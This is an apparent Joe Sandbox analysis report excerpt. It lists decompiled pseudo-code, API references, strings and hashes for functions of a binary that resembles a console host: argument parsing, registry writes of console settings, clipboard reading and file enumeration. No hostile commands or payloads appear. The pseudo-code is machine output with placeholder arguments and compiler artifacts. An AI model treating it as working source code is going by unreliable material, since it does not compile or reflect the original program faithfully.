												 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
												_v176 = L"--server";
												_t302 = E00B211B7();
												__eflags = _t302;
												if(_t302 != 0) {
													_v16 = 1;
												} else {
													_t304 = _v68 + 1;
													_v68 = _t304;
													__eflags = _t304 - _v52;
													if(_t304 != _v52) {
														 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
														_v176 =  &_v36;
														_v172 = 0;
														 *0xb34914 = E00B21341();
														__eflags =  *_v36;
														if( *_v36 == 0) {
															goto L47;
														} else {
															_v16 = 1;
														}
													} else {
														_v16 = 1;
													}
												}
											} else {
												_t312 = _v68 + 1;
												_v68 = _t312;
												__eflags = _t312 - _v52;
												if(_t312 != _v52) {
													 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
													_v176 =  &_v36;
													_v172 = 0;
													_v32 = E00B21341();
													__eflags =  *_v36;
													if( *_v36 == 0) {
														goto L47;
													} else {
														_v16 = 1;
													}
												} else {
													_v16 = 1;
												}
											}
										} else {
											_t318 = _v68 + 1;
											_v68 = _t318;
											__eflags = _t318 - _v52;
											if(_t318 != _v52) {
												 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
												_v176 =  &_v36;
												_v172 = 0;
												_v28 = E00B21341();
												__eflags = _v28;
												if(_v28 != 0) {
													L30:
													__eflags = _v28 - 0xffff;
													if(_v28 > 0xffff) {
														goto L32;
													} else {
														__eflags =  *_v36 & 0x0000ffff;
														if(( *_v36 & 0x0000ffff) == 0) {
															goto L47;
														} else {
															goto L32;
														}
													}
												} else {
													__eflags =  *0xb34920;
													if( *0xb34920 == 0) {
														L32:
														_v16 = 1;
													} else {
														goto L30;
													}
												}
											} else {
												_v16 = 1;
											}
										}
									} else {
										_t325 = _v68 + 1;
										_v68 = _t325;
										__eflags = _t325 - _v52;
										if(_t325 != _v52) {
											 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
											_v176 =  &_v36;
											_v172 = 0;
											_v24 = E00B21341();
											__eflags = _v24;
											if(_v24 != 0) {
												L21:
												__eflags = _v24 - 0xffff;
												if(_v24 > 0xffff) {
													goto L23;
												} else {
													__eflags =  *_v36 & 0x0000ffff;
													if(( *_v36 & 0x0000ffff) == 0) {
														goto L47;
													} else {
														goto L23;
													}
												}
											} else {
												__eflags =  *0xb34920;
												if( *0xb34920 == 0) {
													L23:
													_v16 = 1;
												} else {
													goto L21;
												}
											}
										} else {
											_v16 = 1;
										}
									}
								} else {
									 *0xb34920 = 1;
									 *0xb34924 = 1;
									_v20 = 1;
									goto L47;
								}
							} else {
								_v20 = 1;
								L47:
								_v68 = _v68 + 1;
								continue;
							}
							goto L72;
						}
						__eflags =  *0xb34914;
						if( *0xb34914 != 0) {
							__eflags = _v24;
							if(_v24 == 0) {
								_v24 = 0x50;
							}
							__eflags = _v28;
							if(__eflags == 0) {
								_v28 = 0x96;
							}
							 *_t407 = 0xb34914;
							_v176 = 1;
							_v172 = _v24;
							_v168 = _v28;
							_t262 = E00B12080(__eflags);
							_t408 = _t407 - 0x10;
							 *0xb3491c = _t262;
							__eflags = _t262;
							if(_t262 != 0) {
								__eflags = _v20;
								if(_v20 == 0) {
									 *_t408 = 0xb34914;
									_t264 = E00B123E0(0);
									_t409 = _t408 - 4;
									__eflags = _t264;
									if(_t264 != 0) {
										 *_t409 =  &_v144;
										GetStartupInfoW(??);
										_t410 = _t409 - 4;
										 *_t410 = _v132;
										_t267 = E00B21219();
										 *_t410 = 0xb34914;
										_v176 = _v132;
										_v172 = _t267 << 1;
										E00B12750();
										_t411 = _t410 - 0xc;
										__eflags = _v100 & 0x00000001;
										if((_v100 & 0x00000001) == 0) {
											_v148 = 5;
										} else {
											_v148 = _v96 & 0x0000ffff;
										}
										_t350 =  *0xb349bc; // 0x0
										 *_t411 = _t350;
										_v176 = _v148;
										ShowWindow(??, ??);
										_t412 = _t411 - 8;
										goto L71;
									} else {
										_v16 = 1;
									}
								} else {
									 *_t408 = 0xfffffff6;
									_t279 = GetStdHandle(??);
									_t414 = _t408 - 4;
									 *0xb349c4 = _t279;
									 *_t414 = 0xfffffff5;
									_t280 = GetStdHandle(??);
									_t412 = _t414 - 4;
									 *0xb349c8 = _t280;
									__eflags =  *0xb349c4;
									if( *0xb349c4 != 0) {
										L59:
										 *_t412 = 0xb34914;
										E00B122B0();
										_t412 = _t412 - 4;
										__eflags =  *0xb34920;
										if( *0xb34920 != 0) {
											L62:
											goto L64;
										} else {
											 *_t412 = 0xb34914;
											_t284 = E00B12340();
											_t412 = _t412 - 4;
											__eflags = _t284;
											if(_t284 != 0) {
												goto L62;
											} else {
												_v16 = 1;
											}
										}
									} else {
										__eflags =  *0xb349c8;
										if( *0xb349c8 == 0) {
											 *0xb34928 = 1;
											L64:
											L71:
											 *_t412 = 0xb34914;
											_v176 = _v32;
											_v16 = E00B12980();
										} else {
											goto L59;
										}
									}
								}
							} else {
								_v16 = 1;
							}
						} else {
							_v16 = 1;
						}
					} else {
						_v16 = 1;
					}
				} else {
					_v16 = 0;
				}
				L72:
				return _v16;
			}

0x00b118e7
0x00b118ee
0x00b118f5
0x00b118fc
0x00b11903
0x00b1190a
0x00b11911
0x00b11918
0x00b1191f
0x00b11926
0x00b1192d
0x00b11932
0x00b11939
0x00b11961
0x00b1199e
0x00b119a7
0x00b119c3
0x00b119e6
0x00b119ef
0x00b119fe
0x00b11a17
0x00b11a1d
0x00b11a20
0x00b11a2c
0x00b11a3c
0x00b11a4f
0x00b11a62
0x00b11a71
0x00b11a81
0x00b11a94
0x00b11aa3
0x00b11ab2
0x00b11ac1
0x00b11aca
0x00b11ad0
0x00b11ad3
0x00000000
0x00000000
0x00b11ad9
0x00b11ae1
0x00b11ae3
0x00b11ae6
0x00b11aee
0x00b11af4
0x00b11afa
0x00b11afd
0x00b11b02
0x00b11b09
0x00b11b0c
0x00b11b0f
0x00000000
0x00000000
0x00b11b15
0x00b11b25
0x00b11b25
0x00b11b2d
0x00b11b33
0x00b11b38
0x00b11b3d
0x00b11b47
0x00b11b4c
0x00b11b4f
0x00b11b57
0x00b11b5c
0x00b11b61
0x00b11b64
0x00b11b76
0x00b11b7d
0x00b11b80
0x00b11b83
0x00000000
0x00000000
0x00b11b99
0x00b11b9c
0x00b11ba0
0x00b11ba5
0x00b11ba8
0x00b11bca
0x00b11bcd
0x00b11bd1
0x00b11bd6
0x00b11bd9
0x00b11c0f
0x00b11c12
0x00b11c16
0x00b11c1b
0x00b11c1e
0x00b11cbc
0x00b11cbf
0x00b11cc3
0x00b11cc8
0x00b11ccb
0x00b11d69
0x00b11d6c
0x00b11d70
0x00b11d75
0x00b11d78
0x00b11df0
0x00b11df3
0x00b11df7
0x00b11dfc
0x00b11dff
0x00b11e69
0x00b11e05
0x00b11e08
0x00b11e0b
0x00b11e0e
0x00b11e11
0x00b11e32
0x00b11e35
0x00b11e39
0x00b11e46
0x00b11e4e
0x00b11e52
0x00000000
0x00b11e58
0x00b11e58
0x00b11e58
0x00b11e17
0x00b11e17
0x00b11e17
0x00b11e11
0x00b11d7e
0x00b11d81
0x00b11d84
0x00b11d87
0x00b11d8a
0x00b11dab
0x00b11dae
0x00b11db2
0x00b11dbf
0x00b11dc5
0x00b11dc9
0x00000000
0x00b11dcf
0x00b11dcf
0x00b11dcf
0x00b11d90
0x00b11d90
0x00b11d90
0x00b11d8a
0x00b11cd1
0x00b11cd4
0x00b11cd7
0x00b11cda
0x00b11cdd
0x00b11cfe
0x00b11d01
0x00b11d05
0x00b11d12
0x00b11d15
0x00b11d19
0x00b11d2c
0x00b11d2c
0x00b11d33
0x00000000
0x00b11d39
0x00b11d3f
0x00b11d42
0x00000000
0x00000000
0x00000000
0x00000000
0x00b11d42
0x00b11d1f
0x00b11d1f
0x00b11d26
0x00b11d48
0x00b11d48
0x00000000
0x00000000
0x00000000
0x00b11d26
0x00b11ce3
0x00b11ce3
0x00b11ce3
0x00b11cdd
0x00b11c24
0x00b11c27
0x00b11c2a
0x00b11c2d
0x00b11c30
0x00b11c51
0x00b11c54
0x00b11c58
0x00b11c65
0x00b11c68
0x00b11c6c
0x00b11c7f
0x00b11c7f
0x00b11c86
0x00000000
0x00b11c8c
0x00b11c92
0x00b11c95
0x00000000
0x00000000
0x00000000
0x00000000
0x00b11c95
0x00b11c72
0x00b11c72
0x00b11c79
0x00b11c9b
0x00b11c9b
0x00000000
0x00000000
0x00000000
0x00b11c79
0x00b11c36
0x00b11c36
0x00b11c36
0x00b11c30
0x00b11bdf
0x00b11bdf
0x00b11be9
0x00b11bf3
0x00000000
0x00b11bf3
0x00b11bae
0x00b11bae
0x00b11e75
0x00b11e7b
0x00000000
0x00b11e7b
0x00000000
0x00b11ba8
0x00b11e83
0x00b11e8a
0x00b11e9c
0x00b11ea0
0x00b11ea6
0x00b11ea6
0x00b11ead
0x00b11eb1
0x00b11eb7
0x00b11eb7
0x00b11eca
0x00b11ecd
0x00b11ed5
0x00b11ed9
0x00b11edd
0x00b11ee2
0x00b11ee5
0x00b11eea
0x00b11eed
0x00b11eff
0x00b11f03
0x00b11fab
0x00b11fae
0x00b11fb3
0x00b11fb6
0x00b11fb9
0x00b11fd1
0x00b11fd4
0x00b11fda
0x00b11fe0
0x00b11fe3
0x00b11ff4
0x00b11ff7
0x00b11ffb
0x00b11fff
0x00b12004
0x00b1200d
0x00b12010
0x00b1202a
0x00b12016
0x00b1201a
0x00b1201a
0x00b1203b
0x00b12041
0x00b12044
0x00b12048
0x00b1204e
0x00000000
0x00b11fbf
0x00b11fbf
0x00b11fbf
0x00b11f09
0x00b11f09
0x00b11f10
0x00b11f16
0x00b11f19
0x00b11f1e
0x00b11f25
0x00b11f2b
0x00b11f2e
0x00b11f33
0x00b11f3a
0x00b11f4d
0x00b11f53
0x00b11f56
0x00b11f5b
0x00b11f5e
0x00b11f65
0x00b11f91
0x00000000
0x00b11f6b
0x00b11f71
0x00b11f74
0x00b11f79
0x00b11f7c
0x00b11f7f
0x00000000
0x00b11f85
0x00b11f85
0x00b11f85
0x00b11f7f
0x00b11f40
0x00b11f40
0x00b11f47
0x00b11f96
0x00b11fa0
0x00b12051
0x00b1205a
0x00b1205d
0x00b12069
0x00000000
0x00000000
0x00000000
0x00b11f47
0x00b11f3a
0x00b11ef3
0x00b11ef3
0x00b11ef3
0x00b11e90
0x00b11e90
0x00b11e90
0x00b11b6a
0x00b11b6a
0x00b11b6a
0x00b1193f
0x00b1193f
0x00b1193f
0x00b1206c
0x00b12078

APIs

CreateFileW.KERNELBASE ref: 00B1199E
GetFileSize.KERNEL32 ref: 00B119BA
VirtualAlloc.KERNELBASE ref: 00B119E6
ReadFile.KERNELBASE ref: 00B11A17

Strings

--height, xrefs: 00B11CB6
P, xrefs: 00B11EA6
--unix, xrefs: 00B11BC4
--width, xrefs: 00B11C09
@, xrefs: 00B119DE
--signal, xrefs: 00B11D63
--server, xrefs: 00B11DEA
T, xrefs: 00B11951
--headless, xrefs: 00B11B93

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: File$AllocCreateReadSizeVirtual
String ID: --headless$--height$--server$--signal$--unix$--width$@$P$T
API String ID: 4119528295-967118136
Opcode ID: 4edaf7b2242fc36200ea1a338265ef6fab43698d769cdd525ba48b32d179188f
Instruction ID: 22302183b55aa192aef797c274213b843b500ec893bfa0413a7b07481166a02b
Opcode Fuzzy Hash: 4edaf7b2242fc36200ea1a338265ef6fab43698d769cdd525ba48b32d179188f
Instruction Fuzzy Hash: 8A220670809218CFDB10DFA8D588BADBBF0FF48304F5089ADE845AB291DB759995CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D720 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B1D720() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00B1D847); // executed
				return _t1;
			}

0x00b1d725
0x00b1d72b

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0000D847,00B1D1A3), ref: 00B1D725

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 515ac2ff6c279ebccdcb31c1266c9a2566d74c95f37fceede584e5099d7c23be
Instruction ID: f58d0c2eede8f2ecb7da96faf5d86cdf0998c099aad0bc16dc500b921c359bf2
Opcode Fuzzy Hash: 515ac2ff6c279ebccdcb31c1266c9a2566d74c95f37fceede584e5099d7c23be
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00B24871 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B24871(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0xb362dc, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00B20EFD();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00B247E4())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E00B239FF(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00b24877
0x00b2487c
0x00b2488a
0x00b2488a
0x00b24890
0x00b24892
0x00b24892
0x00b248a9
0x00b248b2
0x00b248ba
0x00000000
0x00000000
0x00b2489a
0x00b2489c
0x00b248be
0x00b248c3
0x00b248c9
0x00000000
0x00b248c9
0x00b2489f
0x00b248a5
0x00b248a7
0x00000000
0x00000000
0x00b248a7
0x00000000
0x00b248a9
0x00b24882
0x00b24888
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B2278A,00000001,00000364,00000000,00000007,000000FF,?,?,00B247E9,00B236F8), ref: 00B248B2

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b63348f93e8ceeff4c2318392612b5ce98899083cde4b5cff0969d879d326c44
Instruction ID: b3bb1097a1216f33983e73242e2099540980ef7a820d704d1126eaf9f6a425e2
Opcode Fuzzy Hash: b63348f93e8ceeff4c2318392612b5ce98899083cde4b5cff0969d879d326c44
Instruction Fuzzy Hash: BAF0E9326246B46EEB216E25BC05B6B77CDEF42760B2586B1AC0DDF990CF70DC0486E0

Uniqueness

Uniqueness Score: -1.00%

Function 00B248CE Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B248CE(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00B247E4())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xb362dc, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00B20EFD();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00B239FF(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00b248d4
0x00b248da
0x00b2490c
0x00b24911
0x00b24917
0x00000000
0x00b24917
0x00b248de
0x00b248e0
0x00b248e0
0x00b248f7
0x00b24900
0x00b24908
0x00000000
0x00000000
0x00b248e8
0x00b248ea
0x00000000
0x00000000
0x00b248ed
0x00b248f3
0x00b248f5
0x00000000
0x00000000
0x00b248f5
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00B25E38,?,?,?,00B156F0), ref: 00B24900

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 67ecb26c07e1d9f59ba657791fae4e1be56613e616e60035cab9a9f4720e077e
Instruction ID: a823bb5d00888e3a7c372f8a7d8fb31b69d11f1a9e28b9c8cefb0670453eace2
Opcode Fuzzy Hash: 67ecb26c07e1d9f59ba657791fae4e1be56613e616e60035cab9a9f4720e077e
Instruction Fuzzy Hash: 07E06D352116756EEB213AA5BC05B5B3BCCDB427A0F6641A1AC1D9A8D1CF60CC91C2A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B1C4C0 Relevance: 74.0, APIs: 24, Strings: 18, Instructions: 467
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 00B1C573
RegSetValueExW.ADVAPI32 ref: 00B1C5BF
RegSetValueExW.ADVAPI32 ref: 00B1C63D
RegSetValueExW.ADVAPI32 ref: 00B1C6A2

Part of subcall function 00B13370: GetDpiForSystem.USER32 ref: 00B133DC
Part of subcall function 00B13370: MulDiv.KERNEL32 ref: 00B133F5
Part of subcall function 00B13370: GetDpiForSystem.USER32 ref: 00B13406
Part of subcall function 00B13370: MulDiv.KERNEL32 ref: 00B1341F

RegSetValueExW.ADVAPI32 ref: 00B1C70A
lstrcmpW.KERNEL32 ref: 00B1C738
lstrlenW.KERNEL32 ref: 00B1C755
RegSetValueExW.ADVAPI32 ref: 00B1C797
RegSetValueExW.ADVAPI32 ref: 00B1C7FF
GetDpiForSystem.USER32 ref: 00B1C836
MulDiv.KERNEL32 ref: 00B1C851
GetDpiForSystem.USER32 ref: 00B1C860
MulDiv.KERNEL32 ref: 00B1C87B
RegSetValueExW.ADVAPI32 ref: 00B1C8E6
RegSetValueExW.ADVAPI32 ref: 00B1C94E
RegSetValueExW.ADVAPI32 ref: 00B1C9B0
RegSetValueExW.ADVAPI32 ref: 00B1CA12
RegSetValueExW.ADVAPI32 ref: 00B1CA74
RegSetValueExW.ADVAPI32 ref: 00B1CAD6
RegSetValueExW.ADVAPI32 ref: 00B1CB38
RegSetValueExW.ADVAPI32 ref: 00B1CB9A
RegSetValueExW.ADVAPI32 ref: 00B1CC27
RegSetValueExW.ADVAPI32 ref: 00B1CC8C
RegSetValueExW.ADVAPI32 ref: 00B1CD19

Strings

FaceName, xrefs: 00B1C770
CursorSize, xrefs: 00B1C612
EditionMode, xrefs: 00B1C6DF
MenuMask, xrefs: 00B1CAAB
ColorTable%02d, xrefs: 00B1C562
HistoryBufferSize, xrefs: 00B1C985
PopupColors, xrefs: 00B1CB0D
WindowSize, xrefs: 00B1CCEE
ScreenColors, xrefs: 00B1CC61
HistoryNoDup, xrefs: 00B1C9E7
FontSize, xrefs: 00B1C8BB
`, xrefs: 00B1C86F
CursorVisible, xrefs: 00B1C677
FontWeight, xrefs: 00B1C923
InsertMode, xrefs: 00B1CA49
QuickEdit, xrefs: 00B1CB6F
FontPitchFamily, xrefs: 00B1C7D4
ScreenBufferSize, xrefs: 00B1CBFC

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Value$System$lstrcmplstrlenwsprintf
String ID: ColorTable%02d$CursorSize$CursorVisible$EditionMode$FaceName$FontPitchFamily$FontSize$FontWeight$HistoryBufferSize$HistoryNoDup$InsertMode$MenuMask$PopupColors$QuickEdit$ScreenBufferSize$ScreenColors$WindowSize$`
API String ID: 4202061470-2238697219
Opcode ID: ba1c7720fa1e37a0f3441f97c05695e7f5c381332ef9af077c10e98ea68d71bb
Instruction ID: acf5f16e9a8420ff3c5436d47148dc659625f51929adf920b297818597f44de6
Opcode Fuzzy Hash: ba1c7720fa1e37a0f3441f97c05695e7f5c381332ef9af077c10e98ea68d71bb
Instruction Fuzzy Hash: 9932C4B0904219DFDB10DF58C484BAEBBF0FF48314F5089AAE9599B250D774DA88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B1ACA0 Relevance: 12.1, APIs: 8, Instructions: 98clipboardkeyboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B1ACB5
GetClipboardData.USER32 ref: 00B1ACD3
GlobalLock.KERNEL32 ref: 00B1ACEF
GlobalSize.KERNEL32 ref: 00B1AD0A
VkKeyScanW.USER32 ref: 00B1AD53
MapVirtualKeyW.USER32 ref: 00B1AD89
GlobalUnlock.KERNEL32 ref: 00B1AE10
CloseClipboard.USER32 ref: 00B1AE19

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ClipboardGlobal$CloseDataLockOpenScanSizeUnlockVirtual
String ID:
API String ID: 1615112705-0
Opcode ID: 6d6de88af16d0c0ec8bac536dccc27cb8c7b65cb9f368fd13322467ccdf4960e
Instruction ID: 4cd068ca660278c9a0c3206e0b6c186b534b1bc88c39ca321e366e83c1ffa83a
Opcode Fuzzy Hash: 6d6de88af16d0c0ec8bac536dccc27cb8c7b65cb9f368fd13322467ccdf4960e
Instruction Fuzzy Hash: 0141D4B5904218EFDB00EFA8D5896ADBBF0FF04304F108969E885A7350EB75A594CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00B25347 Relevance: 6.1, APIs: 4, Instructions: 129
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00B25347(WCHAR* _a4, signed int _a8, char* _a12) {
				signed int _v8;
				short _v552;
				short _v554;
				struct _WIN32_FIND_DATAW _v600;
				char _v601;
				signed int _v608;
				signed int _v612;
				intOrPtr _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed char _t32;
				void* _t41;
				intOrPtr _t43;
				intOrPtr _t45;
				int _t48;
				signed int* _t59;
				char* _t60;
				WCHAR* _t68;
				signed int _t70;
				void* _t71;

				_t30 =  *0xb34050; // 0x245fde3e
				_v8 = _t30 ^ _t70;
				_t65 = _a8;
				_t60 = _a12;
				_t68 = _a4;
				_v608 = _t60;
				if(_t65 != _t68) {
					while(E00B254BD( *_t65 & 0x0000ffff) == 0) {
						_t65 = _t65 - 2;
						if(_t65 != _t68) {
							continue;
						}
						break;
					}
					_t60 = _v608;
				}
				_t69 =  *_t65 & 0x0000ffff;
				if(( *_t65 & 0x0000ffff) != 0x3a) {
					L8:
					_t60 =  &_v601;
					_t32 = E00B254BD(_t69);
					_t65 = (_t65 - _t68 >> 1) + 1;
					asm("sbb eax, eax");
					_t59 = 0;
					_v612 =  ~(_t32 & 0x000000ff) & _t65;
					_t69 = FindFirstFileExW(_t68, 0,  &_v600, 0, 0, 0);
					if(_t69 != 0xffffffff) {
						_t59 = _v608;
						_v608 = _t59[1] -  *_t59 >> 2;
						_t41 = 0x2e;
						do {
							if(_v600.cFileName != _t41 || _v554 != 0 && (_v554 != _t41 || _v552 != 0)) {
								_push(_t59);
								_t43 = E00B25293(_t60,  &(_v600.cFileName), _t68, _v612);
								_t71 = _t71 + 0x10;
								_v616 = _t43;
								if(_t43 != 0) {
									FindClose(_t69);
									_t45 = _v616;
								} else {
									goto L16;
								}
							} else {
								goto L16;
							}
							goto L21;
							L16:
							_t48 = FindNextFileW(_t69,  &_v600);
							_t41 = 0x2e;
						} while (_t48 != 0);
						_t65 =  *_t59;
						_t63 = _v608;
						_t51 = _t59[1] -  *_t59 >> 2;
						if(_v608 != _t59[1] -  *_t59 >> 2) {
							E00B280B0(_t65, _t65 + _t63 * 4, _t51 - _t63, 4, E00B254E1);
						}
						FindClose(_t69);
						_t45 = 0;
					} else {
						_push(_v608);
						goto L7;
					}
				} else {
					_t8 =  &(_t68[1]); // 0x2
					if(_t65 == _t8) {
						goto L8;
					} else {
						_push(_t60);
						_t59 = 0;
						L7:
						_t45 = E00B25293(_t60, _t68, _t59, _t59);
					}
				}
				L21:
				return E00B1DB25(_t45, _t59, _v8 ^ _t70, _t65, _t68, _t69);
			}

0x00b25352
0x00b25359
0x00b2535c
0x00b2535f
0x00b25365
0x00b25368
0x00b25370
0x00b25372
0x00b25385
0x00b2538a
0x00000000
0x00000000
0x00000000
0x00b2538a
0x00b2538c
0x00b2538c
0x00b25392
0x00b25398
0x00b253b4
0x00b253b5
0x00b253bb
0x00b253c7
0x00b253ca
0x00b253cc
0x00b253d3
0x00b253e8
0x00b253ed
0x00b253f7
0x00b25407
0x00b2540d
0x00b2540e
0x00b25415
0x00b25434
0x00b25443
0x00b25448
0x00b2544b
0x00b25453
0x00b254a2
0x00b254a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b25455
0x00b2545d
0x00b25467
0x00b25467
0x00b2546d
0x00b25471
0x00b25477
0x00b2547c
0x00b25497
0x00b2549c
0x00b2547f
0x00b25485
0x00b253ef
0x00b253ef
0x00000000
0x00b253ef
0x00b2539a
0x00b2539a
0x00b2539f
0x00000000
0x00b253a1
0x00b253a1
0x00b253a2
0x00b253a4
0x00b253a7
0x00b253ac
0x00b2539f
0x00b254ae
0x00b254bc

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B253E2
FindNextFileW.KERNEL32(00000000,?), ref: 00B2545D
FindClose.KERNEL32(00000000), ref: 00B2547F
FindClose.KERNEL32(00000000), ref: 00B254A2

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b2304af92319fcb0ce3991e0d846fd50eadd60316be8c8ecf029de1ab0df6db8
